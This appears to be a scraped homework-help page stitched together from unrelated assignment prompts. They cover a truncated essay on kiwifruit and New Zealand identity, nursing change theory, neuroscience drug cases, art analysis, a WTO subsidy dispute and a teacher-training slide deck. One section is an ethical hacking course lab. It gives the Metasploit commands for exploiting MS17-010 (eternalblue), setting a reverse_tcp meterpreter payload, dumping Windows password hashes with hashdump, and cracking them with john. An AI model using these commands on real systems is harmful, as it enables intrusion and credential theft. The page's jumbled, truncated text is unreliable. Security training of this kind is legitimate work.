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The Horticulture Industry Influence on New Zealand’s National Identity

The Horticulture Industry Influence on New Zealand’s National Identity. Introduction: This essay will use Pierre Bourdieu’stheory, particularly the concepts of capital and habitus, to examine how individuals form their national identity. How the New Zealand horticultural industry influences the formation of this identity will also be explored and how the kiwifruit has contributed to this identity. Kiwifruit will be used as an example of one product from the horticultural industry because it is a main commodity of New Zealand and represents one of New Zealand’s largest horticultural exports. Overall the argument will be made that the horticultural industry in New Zealand contributes greatly to the countries national identity. Theory One: Pierre Bourdieu developed a theory of the action, around the concept of habitus, which was a considerable influence on the social sciences. His theory criticizes the importance given to economic factors in the analysis of social order and change (Jenkins, 2014). Instead he emphasizes that the capacity of people to impose their cultural reproductions and symbolic systems plays an essential role in the reproduction of dominant social structure. The theory that provides an explanation of the social agents develop strategies which are adapted to the needs of the social worlds that they inhabit (Food and Eating 2019 Lectures). Bourdieu defines capital as sums of money or assets put to productive use. Bourdieu’s theory regarding social capital contains four different types of capital; economic, social, cultural and symbolic. Bourdieu defines capital as sums of money or assets put to productive use (Bourdieu, 1986). Assets may take numerous forms including economic, social, cultural and symbolic. Economic capital to Bourdieu is directly convertible into money, referring to economic resources such as cash, or may be institutionalized into the forms of property rights. Symbolic capital refers to a degree of accumulated prestige or integrity and is found on a debate of knowledge and recognition. Cultural capital is defined as the collection of patterns, knowledge, skills, behaviours and awards, that demonstrate a person’s cultural experience and their social status or standing in society. Finally, Bourdieu’s social capital is seemed as a property of an individual rather than a group. For Bourdieu’s social capital is not regularly available to a group but to those who provide efforts to obtain it by achieving positions of power and status by developing goodwill (Bourdieu, 1986). Bourdieu’s theory also focuses heavily on the concept of habitus. This refers to the physical embodiment of cultural capital, to the deeply ingrained habits, skills and dispositions that we possess due to our life experiences. Habitus expands to our ‘taste’ for cultural objects such as art, food and clothing (Bourdieu, 1990). Relevant to the concept of identity, Bourdieu theory states that individuals acquire their identities or subjectivities through the acquisition of habitus. The theory proposes that habitus is acquired through locations and experience (Food and Eating 2019 Lectures). This is connection through capitals (which can be social, cultural or economic). These transform through time as individuals move through different fields and as they work to accumulate the capitals of personal value (Bourdieu, 1990). Theory Two: In order to gain a greater understanding of the development of national identity, theory proposed by Benedict Anderson, a key theorist in this field, will be utilized. National identity can be defined as a person’s identity or sense of belonging to a nation. It is the sense of a nations as a cohesive whole, as represented by distinctive traditions, culture, language and politics. Nations, to Benedict Anderson’s, are imagined. He suggests that nations are socially contrasted, made up of individuals who perceive themselves to be part of a particular group. He states that’s a nation “is imagined because the members of even the smallest nation will never know most of their fellow members, meet them, or even help them, yet in the minds of each lives the image of their communication” (Anderson, 2006) Nationalism is a recent and modern creation despite nations being thought of by most people as old and timeless. Nationalism is universal in that every individual belongs to a nation, yet each nation is supposedly completely distant from every other nation. Nationalism is an idea so influential that people will die for their nations, yet at the same time an idea difficult to define (Anderson, 2006). Nationalist movements have appeared in different time period periods and across different contexts, making it difficult to develop a universal explanation of how and why nations are constructed. Four versions of the instrumentalist or constructivist view have sought to offer insight. These have defined national identity as 1) the product of structural change; 2) the project of elites; 3) a discourse of domination and 4) a bounded community of exclusion and opposition (Herb, 1999). Anderson begins his work by identifying three paradoxes of nationalism that he would address in his work. The first of these is described as “the objective modernity of nations to be historians” This idea represents how people believe that their nation is superior to others. The second paradox Anderson suggests is “the formal university of nationalism as a socio-economic concept.” In this paradox Anderson is trying to show that everyone should have a nationality or belong to a group. For example, within New Zealand there are many people of European decent, Maori decent, Asian and non-Maori Pacific Islander decent. These people collectively make up the nation of New Zealand (New Zealand Census). The third and last paradox Anderson suggests is “the political power.” Anderson believes that despite power being a heavily utilised tool in national identity, it has never produced any great minds. He believes that it is a useless construct. There is some concern expressed by Anderson that by identifying with a nation, people become involved in intergroup comparisons, and tend to dishonor other groups. However, several studies have investigated the relationship between national identity and other countries and found that identifying with national identity does not necessarily result in out-group derogation (Herb, 1999). Data: ethnographic and sociological evidence As one of New Zealand’s icons, Kiwifruit is a food which in part expresses national identity within New Zealand. Kiwifruit is one of New Zealand’s largest horticultural exports and is one of the main commodities. The kiwifruit industry provides a number of jobs for New Zealanders. Kiwifruit is seen to be one representation of what is important in New Zealand, sharing its name with the national bird and the New Zealander’s international nickname “kiwi’s”. It is such a part of national identity that an enormous fiberglass kiwifruit slice towers over SH2 on the in the small Bay of Plenty town of Te Puke, in New Zealand. Te Puke is known as New Zealand’s kiwifruit capital of the horticultural hub of the Bay of Plenty. Kiwifruit is also placed on top of one of New Zealand’s most iconic and traditional desserts, the Pavlova (Kiwifruit New Zealand). The kiwifruit industry relies on innovation and quality to maintain a premium global export. It is ensured that the industry is sustainable in the long term with increasing demands from consumers for novelty and environmental sustainability, coupled with pressures to manage the bacterial disease Psa. Plant and food New Zealand work with the industry to develop orchard management programs that allow growers to produce kiwifruit of maximum yield and quality, manage pests and diseases, and reduce chemical and water inputs. Ensuring consumers get fruit which are deliver in premium condition (Plant and Food Research). Through increased productivity of its crops, meeting the demands of the consumer in terms of novelty and taste, exceeding increasingly stringent requirements for sustainability and further differentiation of the New Zealand product basket (Plant and Food Research) kiwifruit as a national symbol is further enhanced. The iconic kiwifruit is not simply used as a symbol of our national identity and an icon in our kiwiana products, it is also a big player in the horticulture industry. Horticulture is New Zealand’s fourth largest export industry (Horticulture New Zealand, Structure and Membership, 2017). This is unsurprising as New Zealand’s history is based around farming both crops and animals and because of this horticulture is a big part of New Zealand identity both locally and globally. New Zealand’s horticultural production area uses over 120,000 hectares, which is about 2% of the country’s total land area (Ministry for the environment New Zealand, 2010). This is possible because New Zealand is not densely populated as many European and Asian countries are. More than 60,000 people are employed in New Zealand’s horticulture industry, in key growing regions spread from the North to the South Island of the country (Horticulture New Zealand, Structure and Membership, 2017). The land which is used for horticultural purposes has increased by 4,500 hectares since 1990, most of this is due to the establishment of horticulture. This corresponds with the contribution of horticulture production to New Zealand’s economy, as it has nearly doubled since 1990 (Ministry for the environment New Zealand, 2010). Due to the growing demand for New Zealand produce globally, especially kiwifruit, which is New Zealand’s largest horticultural export (New Zealand Horticulture Export Authority). The field that habitus is occurring in is the horticultural sector of New Zealand. New Zealand, also known as the land of the long white cloud, is famous for its beautiful landscape and greenery. Farmland is now an ordinary part of the rural landscape that is New Zealand and has become the core of their national identity. The horticulture New Zealand is an industry association representing New Zealand’s 5,000 commercial fruit and vegetable growers (Horticulture New Zealand, Structure and Membership, 2017). New Zealand horticulture is a $5.68 billion industry, excluding wine, exporting 60% of total production to over 124 countries (Horticulture New Zealand, Structure and Membership, 2017). The horticulture industry embraces the production, processing and shipping of and the market for fruits and vegetables. Kiwifruit alone accounts for more than $1 billion in export earnings. The industry has reputation for innovation, quality, early adoption of new technology and responsiveness to market demand. New Zealand is a home to efficient, flexible producers who have the ability to respond quickly to international customer demand (Horticulture New Zealand, Structure and Membership, 2017). Bourdieu’s theory of habitus is can be applied to the horticultural industry of New Zealand. The habitus that surrounds the horticultural sector in New Zealand is the concept that for New Zealand the horticulture industry provides thousands of jobs, as well as aids the economy. Bourdieu’s theory of capital can also be seen. The horticultural industry contributes greatly to the New Zealand’s economy. This economic capital has both direct and indirect roles. The horticultural industry provides money directly to New Zealand’s economy and indirectly in agricultural support services, water machinery and fertilizer (New Zealand Manufacturing Report 2018). The horticultural industry in New Zealand also contributes to social capital as many horticulture businesses are located in small rural towns. They often have a large impact on relationships within the community and contributes significantly to local fundraising, sponsorships and events within the community. The Pukekohe Horticultural Hub are generous and regularly contribute to the fundraising, local marae, sponsorship of rugby teams (the Blues and Steelers) and contribute to school calf club days (Horticulture New Zealand, Pukekohe Hub, 2018). Horticulture New Zealand also support New Zealand tertiary students by offering undergraduate scholarships to a value of $4,500 to help further these young people’s futures as well as offering them the opportunity to attend the annual Horticulture conference (Otago University). Health and well-being are essential to people’s ability to function. Fruit and vegetables can improve health outcomes. The New Zealand Ministry of Health recommends that adults eat at least three servings of vegetables and two servings of fruit each day. According to the New Zealand Health Survey 62% of adults in New Zealand meet these requirements. The industry’s contribution to cultural capital goes beyond just nutrition and diet. Horticulture also contributes thousands of full-time equivalents (the ratio between the total number of paid hours during a pay period) in New Zealand. As this industry employs both indoor and outdoor vegetable growing and people to monitor this (and harvest the produce when its ready). These employees are very important to the country’s food supply (Horticulture New Zealand, Pukekohe Hub, 2018). The horticulture industry being an outside based profession promotes a healthy, active outdoor lifestyle which is so important. New Zealand is often advertised as a clean green country and it is often referred to as one big natural playground (Coyle, Maslin, FairweatherThe Horticulture Industry Influence on New Zealand’s National Identity
Change Theory. Paper details Step 1 Select a change theory that would work best with the proposed change project In patients with dementia or other cognitive impairments (P), do non-pharmacological interventions(I), for example music and/or massage therapy (C) compared to pharmacological treatments alone (O) provide more benefits in the quality of life and pain relief? P: Cognitively impaired, Alzheimer, dementia patients I: Non-pharmacological intervention- music, massage therapy, etc C: pharmacology treatments alone O: improved quality of life and pain control In a one- to two-page paper, summarize the main theoretical notions and concepts of the selected theory. Then discuss the various stages of implementation of the proposed project based on the selected theory. Brief example of using Lewin’s Change Theory with the previously presented pain example: 1. Unfreezing: Prepare the unit for change to using PCA pumps on post-op patients by sharing with the staff your research articles that reveal that patients have overall improved pain control when PCA pumps are used. May also show other data such as patient surveys that demonstrate inadequate pain control. 2. Transition: Policy is written to support the use of PCA pumps on all post-op patients; training of doctors, nurses, and other staff occurs. 3. Refreezing: Patient surveys show improved scores regarding pain management after implementing full use of PCA pumps. Cite all sources in APA format.Change Theory
Business homework help. Psychoactive Drugsand Their Effects on the BrainPlease choose one of the cases to review.Your roommate Gretchen has had chronic pain issues since she broke her back in a car accident about a year ago. You know that she finished her prescription pain killers at least three months ago, but you?re suspicious she?s been taking something else. Quite frequently you find Gretchen passed out in her room, and when she is awake, she doesn?t seem to care about much. She stopped going to class and says her pain is way better than it was a few months ago. You got really worried last week when you found a syringe laying on the bathroom floor and then found out from your landlord that Gretchen never paid her share of the rent. What drug is Gretchen on?Chooseÿat least 4ÿof the following questions to discuss:1. What drug has the individual in this case been using? What led you to believe this?ÿ2. What are the subjective effects of the drug (i.e., what has a person reported feeling after using the drug)?3. What receptors, transporters, or neurotransmitters could be involved? How does the drug affect these receptors, transporters, or neurotransmitters?4. Provide at least one relevant website concerning the drug in question.5. Is this drug addictive? What are the consequences of continued use of this drug?6. Putting yourself in the role of a professional counselor or biological psychologist, what advice do you have for concerned family or friends of someone using this drug?Mini Cases in Psychoactive Drugsÿand Their Effects on the Brain ÿby Darlene MitranoCase copyright held by the National Center for Case Study Teaching in Science, University at Buffalo, State University of New York. Originallypublished September 2, 2011.ÿPsychoactive Drugs and their Effects on the BrainYou made plans with your friend Jason to order some pizza and watch the new Transformers movie. When you arrive at Jason?s apartment you smell a distinctive odor in the hall. When you open his door, a smoky cloud lingers in the living room. Jason has invited his cousin Max over and they seem to have been smoking something. Their eyes are red, they seem extremely relaxed, and there are food and candy wrappers all over the place. Jason says that he totally forgot you were coming over, but you should stay and hang out anyway. What have Jason and Max been smoking?ÿChoose atÿleast 4ÿof the following questions to answer:1. What drug has the individual in this case been using? What led you to believe this?ÿ2. What are the subjective effects of the drug (i.e., what has a person reported feeling after using the drug)?3. What receptors, transporters, or neurotransmitters could be involved? How does the drug affect these receptors, transporters, or neurotransmitters?4. Provide at least one relevant website concerning the drug in question.5. Is this drug addictive? What are the consequences of continued use of this drug?6. Putting yourself in the role of a professional counselor or biological psychologist, what advice do you have for concerned family or friends of someone using this drug?Mini Cases in Psychoactive Drugs and Their Effects on the Brain ÿby Darlene MitranoCase copyright held by the National Center for Case Study Teaching in Science, University at Buffalo, State University of New York. Originallypublished September 2, 2011.ÿCase Study on Split My BrainPlease click on the following link:ÿÿchoose at least 4ÿof the following questions to discuss:1. What is Rasmussen Syndrome (what are its history, symptoms, prognosis, etc.)?2. What structures or abilities of the brain are concentrated in the areas of the left hemisphere that would be removed in the hemispherectomy?3. Other than reducing his seizures, how else might Jerrod?s thinking or behavior be affected by losing these parts of his brain?4. What types of abilities would he still retain, because the brain structures would remain intact?5. ÿWhat might the family do to help Jerrod recover after such a surgery?6. ÿIf Jerrod had the surgery, would his level of functioning get better, worse, or stay the same over time?7. ÿWhat other kinds of questions would you have about the surgery? Can you find the answers, i.e., provide a website, etc.?8. What decision do you recommend to the family? Why or why not go ahead with surgery?Speak Up: ÿBob’s CaseBob is a 33-year-old right-handed man who was recently found sprawled on the floor by his wife. When he woke, he was dragging his right leg, had a right facial droop, and didn?t appear to understand anything said to him. After being rushed to the ER, the doctors diagnosed a dense right hemiparesis (weakness). Doctors also noticed that while his speech was rapid and fluent, he was quite unintelligible. He showed no slurringor stilting of his speech, and his overall articulation was fine. Bob had absolutely no trouble getting words out?the problem was that once they were out they made no sense!During his neuropsychological assessment, his doctor asked him to repeat sentences such as ?will you answer the telephone?? More often than not, he would answer the questions (?yes I will? or ?no, it?s on the ground?)rather than repeat the sentence. His spontaneous speech was filled with neologisms (made-up words) and jargon. In fact, one of his doctors commented that Bob?s speech was reminiscent of the ?Jabberwocky? poem by Lewis Carroll (i.e., ?Twas brillig, and the slithy toves ? Did gyre and gimble in the wabe?).ÿBob was unable to comprehend written text or write coherently (his written work read much like his spoken words sounded; fluent but empty). And, to all intents and purposes, Bob seemed completely unaware of his condition.For more information on parts of the brain that might be affected: ÿGo to:ÿenterÿSpeak Upin theSearch boxÿdownload the cases, then scroll down toÿpages 8 and 9.ÿÿPlease discuss the following:ÿ1. What condition or conditions (there may be more than one possibility) are being described in this case? Let us know why you think this is the case, and provide one website that might justify your position.2. What brain area or area(s) may be involved (be sure to consider which language functions are compromised too, and be specific as to which hemisphere)? How should they function normally?3. What could be causing this dysfunction?4. What do the patient?s symptoms tell you about his/her language abilities and how they may be impaired?Speak Up! Mini cases by Antonette R. MillerCase copyright ????? by the National Center for Case Study Teaching in Science. Originally published April ??, ???? at the Perfect BabyRead the case at:ÿAnswer question 10 (required),ÿand your choice of at least 3 additional questions.ÿ1. How could baby Sally inherit Fanconi anemia even though neither parent suffers from it?2. What other illnesses or developmental disabilities can be inherited in this way?3. What are the odds that the Shannon?s second child would also have this disease?4. What are the basic processes of IVF and PGD?5. What risks are involved in this whole procedure?6. How could a sibling?s blood help cure Sally?7. How could PGD be used to create that sibling?8. What is so unusual about the PGD proposed by the Shannons?9. What are some ethical issues related to the use of IVF? What are some ethical issues related tothe use of PGD? What do you think about those issues?10. What do you think the research team should do? What should the Shannons do?Business homework help
San Diego Mesa College Analyzing a Work of Art Paper.

Part 1: Choose a piece of art from the book (or from any source you have access to) that appeals to you. Look at it a long time. Analyze the formal qualities of this piece, using vocabulary from the book’s early chapters: tell me the medium, any technical processes or information you can identify (Is it a drawing? Intaglio print? Carving? Cast metal?), and try to show how the work was organized and executed. (Did the artist work rapidly, passionately, vigorously wildly? Or carefully, meticulously, with supreme control? How did s/he use implied line orbalance? How do you rate his or her skill at their craft? How about color scheme? Realism or abstraction? Use of perspective? Emotion? Etc., etc.) This first part is not a research piece; that comes in Part 3. I want to see evidence that you can look, and that you have listened to me, and that you have read the book. I don’t care if your writing is imperfect, or full of spelling mistakes; show me you can look and think. This should take up two pages (double-spaced) Part 2: Devote at least half a page to the reasons you like this piece, and how you interpret it. What does it mean? Your reasons may be entirely personal (“It reminds me of my dear Mother,” or “I just like dogs,”) or political (“It makes me feel powerful as a woman of color”) or “Art-criticky” (“I admire Monet’s masterful use of color” or “The mysterious smile of Mona Lisa symbolizes the secrets we all conceal from the world”), or whatever. Include a photocopy of the piece, or a reference to the page I can find it on in your textbook, or the internet URL. Part 3: After you write your analysis, research what other people have said about your choice. Look it up in Fichner-Rathus or some other book, or on the Web, and read what they say about this piece. On a fourth and fifth page, I want you to cite all your sources, and summarize what they say. Then tell me if you agree, or if you think they are full of crap, or whatever, and why. Take as much space as you need. Include a photocopy of a page of each source you read, stapled to the end of your project. (If you can’t find any writing about your piece, start over; but staple the first attempt to the back of your second try, (for extra credit). See me for advice, to make sure you choose a better example. (2 – 3 pages).
San Diego Mesa College Analyzing a Work of Art Paper

Discuss the Legal dispute between two companies in 2 states

Discuss the Legal dispute between two companies in 2 states.

The Expando Co. in State A receives a wide variety of general subsidies from the State A government (including tax breaks, low interest financing, and technical assistance) that State A offers to all domestic enterprises within its territory.The Expando Co. in State A receives a wide variety of general subsidies from the State A government (including tax breaks, low interest financing, and technical assistance) that State A offers to all domestic enterprises within its territory. Expando manufactures wristwatch bands that it recently began to sell in State B. The Flexo Co. in State B manufactures similar watchbands and it has begun to lose some of its market share to Expando. State A and State B are both WTO member states. Flexo would like State B to impose a countervailing duty to offset the subsidies received by Expando from State A, and Flexo has asked the State B Customs Service (which is responsible for imposing such duties) to do so.After making an investigation, the Customs Service refused to impose any duties. Flexo has appealed to a court. Should the court overrule the decision of Customs Service? Explain. A significant issue with two companies producing and selling similar goods in the same state is the extent of regulatory legislation. Discuss the social, political, economic and legal problems that will occur with two companies competing in the same state. What are the implications for community and employee relations? No plagerism, add references
Discuss the Legal dispute between two companies in 2 states


essay writing service free STRATEGIC MANAGEMENT Q 3. Paper details I will upload the question, as well as some references. In addition to some research, please answer the uploaded questions. You will have to demonstrate how the theory is applied and high level. Kindly make sure that you include Mapping/ Charts, Illustrations to support your point, as well as a conclusion to link the illustrations to the answer.STRATEGIC MANAGEMENT Q 3

week 7 lab need Linux Os to complete

week 7 lab need Linux Os to complete. I’m studying for my Computer Science class and don’t understand how to answer this. Can you help me study?

CYBR525, Ethical Hacking and Response

Week 7 Lab – Hacking a POS terminal

As you have learned an embedded system such as a point of sale terminal can suffer from many of the same vulnerabilities as a normal server or user workstation. As such, many of the techniques we are going to use to attempt to harvest credentials are the same as you would use on a regular workstation.
You have been given the IP address of the POS terminal you are to target so you won’t need to do a scan to locate where the host is on the network but we would still like to scan/enumerate/search for vulnerabilities. Refer back to your earlier labs to complete the next two actions. You must do this lab from your Kali VM.
Using Sparta scan/enumerate the POS terminal at the IP address you were given. Provide a screen shot showing the open ports. What else did you find of value in your scan?
Now use OpenVAS to check for vulnerabilities. Provide a screen shot showing the first page of the scan report for the POS terminal. This page should show the high severity vulnerabilities.
Through your vulnerability scans you learned the POS terminal has the vulnerability known as Microsoft Windows SMB Server Multiple Vulnerabilities. It is also known as MS17-010 and has CVEs 2017-0143, 144, 145, 146, 147 & 148. This is a major vulnerability. It carries a CVSS of 10 and could allow us a great deal of access to the host. The goal of this lab will be to harvest the credentials present on the pos terminal. We will do this by exploiting the MS17-010 vulnerability using a tool called Metasploit, extract the hashed credentials from the windows SAM file, and decrypt them using the tool john. Lots to do so let’s get started.
Now that you know your target ip and a potentially exploitable vulnerability we can move on to our next task which we will do through Metasploit. The Metasploit framework provides a common structure from which to launch various exploits and their associated payloads. In addition to launching exploits others have written you can write your own exploits and payloads. To start Metasploit use the ‘Applications’ menu, select the ‘Exploitation Tools’ menu, and select Metasploit. The first time you use Metasploit it will initialize its database which may take a few minutes. Once that is complete it will complete loading and present you with a random piece ACSII art. Your screen will differ from the below but your last line should be a msf> prompt.

Normally your next step would be to issue the command msfupdate to update the database and associated exploits. As the toxic pool is not connected to the internet you will skip this step. Metasploit was updated when the Kali vm was built.
Next we will see if Metasploit has an exploit for the MS17-010 vulnerability we found on our target host. Enter the following command:
search MS17-010
We are rewarded with a list of the available exploits. In addition to the name of the exploit and a description of what it does you will see a ranking of potential of success. Metaploit ranks exploits from lowest to highest as: manual, low, average, normal, good, great, excellent. Keep in mind an exploit may not always be successful.

We will be using the second listed exploit. To load the exploit issue the use command with the name of the desired exploit.
use exploit/windows/smb/ms17_010_eternalblue

Now that we have loaded the exploit we need to set the payload. Payloads can do any number of tasks such as open vnc sessions or launch a meterpreter shell on the target system. The meterpreter shell launches in the target’s memory so no record is left on the systems drives. The shell provides access to the host to do any number of additional activities. Our first step is to see what payloads are available with this exploit. To do that enter the following command:
show payloads
You will see a pretty extensive list of potential payloads. We are interested in the one which will launch a reverse_tcp meterpreter shell. We’ve already talked about the shell but you will note many of the payloads have two sets of variations, one which says bind and one which says reverse_tcp. These are two different types of connections. With the meterpreter bind the payload is loaded on the target system and it waits for you to make a connection to it. With the meterpreter reverse_tcp variant the payload is delivered and the target starts a connection back to your system. The command to set the payload is:
set payload windows/x64/meterpreter/reverse_tcp

Each payload may have options which need to be set to specify how the payload will act. To see what options are available use the command show options
show options

Options are shown as required or optional. This payload has two required options which have not yet been set, RHOST (remote host, the IP of your target) and LHOST (local host, your IP). Issue the following two commands, providing your specific target and Kali IP. Remember you determined your target’s IP at the beginning of the lab and you can find your IP by using the command ifconfig in a terminal window.
set RHOST <your target IP>
set LHOST <your IP>
To make sure you have set LHOST and RHOST correctly use the command show options again.
Paste a screen dump of your options screen showing RHOST and LHOST set for your target and kali vm
We have now specified the exploit, the payload, and set the payload options. It’s now time to launch our attack. Issue the following command:

The command may take a while to execute. You can monitor its progress through the onscreen messages as it exploits the vulnerability we found earlier. Your hope is that the exploit will eventually be successful and you will be rewarded with a WIN and a shell prompt. You may need to attempt the exploit more than once.

There are many activities we could do from here but our goal is to dump the user credentials on this

system. Windows passwords are stored locally in the SAM file. Windows locks this file so that it cannot be accessed by any user while the system is running. One way to copy the file is get physical access to the computer and boot it to a live CD or external drive and then mount the system drive. The meterpreter shell allows us a way to do this remotely through the command hashdump. Issue that command at your meterpreter prompt

What you are provide with is a list of users and their hashed password. Yours will be different than the above. We need to copy this information and use the program john to try and crack the passwords. Highlight the user/hash information and copy it to your clipboard.

Once you have copied the information go to a new terminal window and create a new file with gedit.
gedit hashes.txt
Right click to paste the windows credentials, save, and close the file.

Once this file is closed you can return to your metasploit window and use the command quit twice, once to quit the meterpreter shell and once to quite metasploit.
John is a password cracker with several capabilities. You will use the default configuration which attempts to crack the passwords, first through a dictionary attack and then through a brute force effort. During some pentests you may choose to build your own dictionary based on words you related to the company (product names, users, mascots, etc) you find during your opensource collection. The default dictionary is based on common passwords.
You can attempt to crack the passwords in the target file with the following command:
john hashes.txt –format=nt

The option format=nt is telling john to try a ntlm hash for the crack.

As john runs it will return usernames and the associated passwords as it runs. This technique will not always be successful but it’s a good one to try.
Provide a screenshot of the usernames and passwords you found
Review the scans you did earlier with Sparta. Given those results and the credentials you now possess you have the information necessary to access the POS terminal. Once you have access look around and locate a flag placed somewhere on the system. The flag is an obvious file and it’s not buried deep.
You should not use metasploit as part of completing the extra credit portion of this assignment.
To earn the extra credit write a summary of how you gained access, where you found the flag, and the flag’s title and message.

week 7 lab need Linux Os to complete

HPU Demonstration Developed by Third Grade Teacher Jane Elliot PPT

HPU Demonstration Developed by Third Grade Teacher Jane Elliot PPT.

Part of your role as an educator will be to work alongside colleagues to assess resources and to determine whether these resources deepen educators’ understandings of cultural, ethnic, gender, and learning differences, build stronger relationships, and create more relevant learning experiences for students.Imagine that your principal has come to you and stated that the district is interested in hosting a professional development workshop for educators to help them broaden their cultural competence, improve family-teacher relationships, and enhance educational experiences for all students. The district proposes using the information from “A Class Divided” for the workshop. If you argue that “A Class Divided” should not be used, provide a reputable alternative for your principal to consider.Create a 6-8 slide digital presentation for the professional development workshop including either “A Class Divided” or another reputable alternative.Include the following:Explanation of “A Class Divided” or the reputable alternative video, and its main claims.Explanation of how the information presented in “A Class Divided” or the alternative video could be used to help teachers broaden their cultural competence, build stronger relationships, and create more relevant educational experiences.Explanation of key terminology, including privilege, power, difference, and oppression.At least three additional resources for teachers with an explanation of how each will deepen their understanding of cultural, ethnic, gender, and learning differences, build stronger relationships, or create more relevant learning experiences.Title, slide, reference slide, and presenter’s notes.Additionally, include graphics that are relevant to the content, visually appealing, and use space appropriately.Support your presentation with 2-3 scholarly resources.Watch “A Class Divided,” located on the Films on Demand website (1985).URL: read all instructions.
HPU Demonstration Developed by Third Grade Teacher Jane Elliot PPT